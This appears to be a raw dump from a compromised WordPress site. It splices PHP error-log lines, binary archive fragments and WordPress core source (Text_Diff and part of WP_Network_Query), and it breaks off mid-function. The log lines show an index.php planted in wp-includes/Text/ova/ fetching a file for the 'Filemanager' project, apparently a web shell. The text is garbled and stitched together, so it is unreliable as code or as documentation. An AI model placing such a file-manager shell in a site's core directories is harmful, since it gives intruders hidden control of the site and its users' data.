file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 11:00:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by al[30-Aug-2025 12:37:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:37:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:52:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:53:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:26:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /[31-Aug-2025 10:01:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:01:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:16:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:16:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 PK j[F\ Diff.php.php.tar.gznu[PKj[][7[7  index.phpnu[PKj[_}o sDova.tar.gznu[PKj[×ova.tarnu[PKj[Y:: Diff.php.tarnu[PKj[,6=ee "error_lognu[PK%Yova/Diff.php.tar000064400000035000150561075220007500 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/Text/Diff.php000064400000031107150550165720017451 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } PK $[O|-TTclass-wp-network-query.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-wp-network-query.php000064400000046621150561242230022241 0ustar00 '', 'from' => '', 'where' => array(), 'groupby' => '', 'orderby' => '', 'limits' => '', ); /** * Query vars set by the user. * * @since 4.6.0 * @var array */ public $query_vars; /** * Default values for query vars. * * @since 4.6.0 * @var array */ public $query_var_defaults; /** * List of networks located by the query. * * @since 4.6.0 * @var array */ public $networks; /** * The amount of found networks for the current query. * * @since 4.6.0 * @var int */ public $found_networks = 0; /** * The number of pages. * * @since 4.6.0 * @var int */ public $max_num_pages = 0; /** * Constructor. * * Sets up the network query, based on the query vars passed. * * @since 4.6.0 * * @param string|array $query { * Optional. Array or query string of network query parameters. Default empty. * * @type int[] $network__in Array of network IDs to include. Default empty. * @type int[] $network__not_in Array of network IDs to exclude. Default empty. * @type bool $count Whether to return a network count (true) or array of network objects. * Default false. * @type string $fields Network fields to return. Accepts 'ids' (returns an array of network IDs) * or empty (returns an array of complete network objects). Default empty. * @type int $number Maximum number of networks to retrieve. Default empty (no limit). * @type int $offset Number of networks to offset the query. Used to build LIMIT clause. * Default 0. * @type bool $no_found_rows Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true. * @type string|array $orderby Network status or array of statuses. Accepts 'id', 'domain', 'path', * 'domain_length', 'path_length' and 'network__in'. Also accepts false, * an empty array, or 'none' to disable `ORDER BY` clause. Default 'id'. * @type string $order How to order retrieved networks. Accepts 'ASC', 'DESC'. Default 'ASC'. * @type string $domain Limit results to those affiliated with a given domain. Default empty. * @type string[] $domain__in Array of domains to include affiliated networks for. Default empty. * @type string[] $domain__not_in Array of domains to exclude affiliated networks for. Default empty. * @type string $path Limit results to those affiliated with a given path. Default empty. * @type string[] $path__in Array of paths to include affiliated networks for. Default empty. * @type string[] $path__not_in Array of paths to exclude affiliated networks for. Default empty. * @type string $search Search term(s) to retrieve matching networks for. Default empty. * @type bool $update_network_cache Whether to prime the cache for found networks. Default true. * } */ public function __construct( $query = '' ) { $this->query_var_defaults = array( 'network__in' => '', 'network__not_in' => '', 'count' => false, 'fields' => '', 'number' => '', 'offset' => '', 'no_found_rows' => true, 'orderby' => 'id', 'order' => 'ASC', 'domain' => '', 'domain__in' => '', 'domain__not_in' => '', 'path' => '', 'path__in' => '', 'path__not_in' => '', 'search' => '', 'update_network_cache' => true, ); if ( ! empty( $query ) ) { $this->query( $query ); } } /** * Parses arguments passed to the network query with default query parameters. * * @since 4.6.0 * * @param string|array $query WP_Network_Query arguments. See WP_Network_Query::__construct() for accepted arguments. */ public function parse_query( $query = '' ) { if ( empty( $query ) ) { $query = $this->query_vars; } $this->query_vars = wp_parse_args( $query, $this->query_var_defaults ); /** * Fires after the network query vars have been parsed. * * @since 4.6.0 * * @param WP_Network_Query $query The WP_Network_Query instance (passed by reference). */ do_action_ref_array( 'parse_network_query', array( &$this ) ); } /** * Sets up the WordPress query for retrieving networks. * * @since 4.6.0 * * @param string|array $query Array or URL query string of parameters. * @return array|int List of WP_Network objects, a list of network IDs when 'fields' is set to 'ids', * or the number of networks when 'count' is passed as a query var. */ public function query( $query ) { $this->query_vars = wp_parse_args( $query ); return $this->get_networks(); } /** * Gets a list of networks matching the query vars. * * @since 4.6.0 * * @return array|int List of WP_Network objects, a list of network IDs when 'fields' is set to 'ids', * or the number of networks when 'count' is passed as a query var. */ public function get_networks() { $this->parse_query(); /** * Fires before networks are retrieved. * * @since 4.6.0 * * @param WP_Network_Query $query Current instance of WP_Network_Query (passed by reference). */ do_action_ref_array( 'pre_get_networks', array( &$this ) ); $network_data = null; /** * Filters the network data before the query takes place. * * Return a non-null value to bypass WordPress' default network queries. * * The expected return type from this filter depends on the value passed * in the request query vars: * - When `$this->query_vars['count']` is set, the filter should return * the network count as an integer. * - When `'ids' === $this->query_vars['fields']`, the filter should return * an array of network IDs. * - Otherwise the filter should return an array of WP_Network objects. * * Note that if the filter returns an array of network data, it will be assigned * to the `networks` property of the current WP_Network_Query instance. * * Filtering functions that require pagination information are encouraged to set * the `found_networks` and `max_num_pages` properties of the WP_Network_Query object, * passed to the filter by reference. If WP_Network_Query does not perform a database * query, it will not have enough information to generate these values itself. * * @since 5.2.0 * @since 5.6.0 The returned array of network data is assigned to the `networks` property * of the current WP_Network_Query instance. * * @param array|int|null $network_data Return an array of network data to short-circuit WP's network query, * the network count as an integer if `$this->query_vars['count']` is set, * or null to allow WP to run its normal queries. * @param WP_Network_Query $query The WP_Network_Query instance, passed by reference. */ $network_data = apply_filters_ref_array( 'networks_pre_query', array( $network_data, &$this ) ); if ( null !== $network_data ) { if ( is_array( $network_data ) && ! $this->query_vars['count'] ) { $this->networks = $network_data; } return $network_data; } // $args can include anything. Only use the args defined in the query_var_defaults to compute the key. $_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ); // Ignore the $fields, $update_network_cache arguments as the queried result will be the same regardless. unset( $_args['fields'], $_args['update_network_cache'] ); $key = md5( serialize( $_args ) ); $last_changed = wp_cache_get_last_changed( 'networks' ); $cache_key = "get_network_ids:$key:$last_changed"; $cache_value = wp_cache_get( $cache_key, 'network-queries' ); if ( false === $cache_value ) { $network_ids = $this->get_network_ids(); if ( $network_ids ) { $this->set_found_networks(); } $cache_value = array( 'network_ids' => $network_ids, 'found_networks' => $this->found_networks, ); wp_cache_add( $cache_key, $cache_value, 'network-queries' ); } else { $network_ids = $cache_value['network_ids']; $this->found_networks = $cache_value['found_networks']; } if ( $this->found_networks && $this->query_vars['number'] ) { $this->max_num_pages = (int) ceil( $this->found_networks / $this->query_vars['number'] ); } // If querying for a count only, there's nothing more to do. if ( $this->query_vars['count'] ) { // $network_ids is actually a count in this case. return (int) $network_ids; } $network_ids = array_map( 'intval', $network_ids ); if ( 'ids' === $this->query_vars['fields'] ) { $this->networks = $network_ids; return $this->networks; } if ( $this->query_vars['update_network_cache'] ) { _prime_network_caches( $network_ids ); } // Fetch full network objects from the primed cache. $_networks = array(); foreach ( $network_ids as $network_id ) { $_network = get_network( $network_id ); if ( $_network ) { $_networks[] = $_network; } } /** * Filters the network query results. * * @since 4.6.0 * * @param WP_Network[] $_networks An array of WP_Network objects. * @param WP_Network_Query $query Current instance of WP_Network_Query (passed by reference). */ $_networks = apply_filters_ref_array( 'the_networks', array( $_networks, &$this ) ); // Convert to WP_Network instances. $this->networks = array_map( 'get_network', $_networks ); return $this->networks; } /** * Used internally to get a list of network IDs matching the query vars. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int|array A single count of network IDs if a count query. An array of network IDs if a full query. */ protected function get_network_ids() { global $wpdb; $order = $this->parse_order( $this->query_vars['order'] ); // Disable ORDER BY with 'none', an empty array, or boolean false. if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) { $orderby = ''; } elseif ( ! empty( $this->query_vars['orderby'] ) ) { $ordersby = is_array( $this->query_vars['orderby'] ) ? $this->query_vars['orderby'] : preg_split( '/[,\s]/', $this->query_vars['orderby'] ); $orderby_array = array(); foreach ( $ordersby as $_key => $_value ) { if ( ! $_value ) { continue; } if ( is_int( $_key ) ) { $_orderby = $_value; $_order = $order; } else { $_orderby = $_key; $_order = $_value; } $parsed = $this->parse_orderby( $_orderby ); if ( ! $parsed ) { continue; } if ( 'network__in' === $_orderby ) { $orderby_array[] = $parsed; continue; } $orderby_array[] = $parsed . ' ' . $this->parse_order( $_order ); } $orderby = implode( ', ', $orderby_array ); } else { $orderby = "$wpdb->site.id $order"; } $number = absint( $this->query_vars['number'] ); $offset = absint( $this->query_vars['offset'] ); $limits = ''; if ( ! empty( $number ) ) { if ( $offset ) { $limits = 'LIMIT ' . $offset . ',' . $number; } else { $limits = 'LIMIT ' . $number; } } if ( $this->query_vars['count'] ) { $fields = 'COUNT(*)'; } else { $fields = "$wpdb->site.id"; } // Parse network IDs for an IN clause. if ( ! empty( $this->query_vars['network__in'] ) ) { $this->sql_clauses['where']['network__in'] = "$wpdb->site.id IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__in'] ) ) . ' )'; } // Parse network IDs for a NOT IN clause. if ( ! empty( $this->query_vars['network__not_in'] ) ) { $this->sql_clauses['where']['network__not_in'] = "$wpdb->site.id NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__not_in'] ) ) . ' )'; } if ( ! empty( $this->query_vars['domain'] ) ) { $this->sql_clauses['where']['domain'] = $wpdb->prepare( "$wpdb->site.domain = %s", $this->query_vars['domain'] ); } // Parse network domain for an IN clause. if ( is_array( $this->query_vars['domain__in'] ) ) { $this->sql_clauses['where']['domain__in'] = "$wpdb->site.domain IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__in'] ) ) . "' )"; } // Parse network domain for a NOT IN clause. if ( is_array( $this->query_vars['domain__not_in'] ) ) { 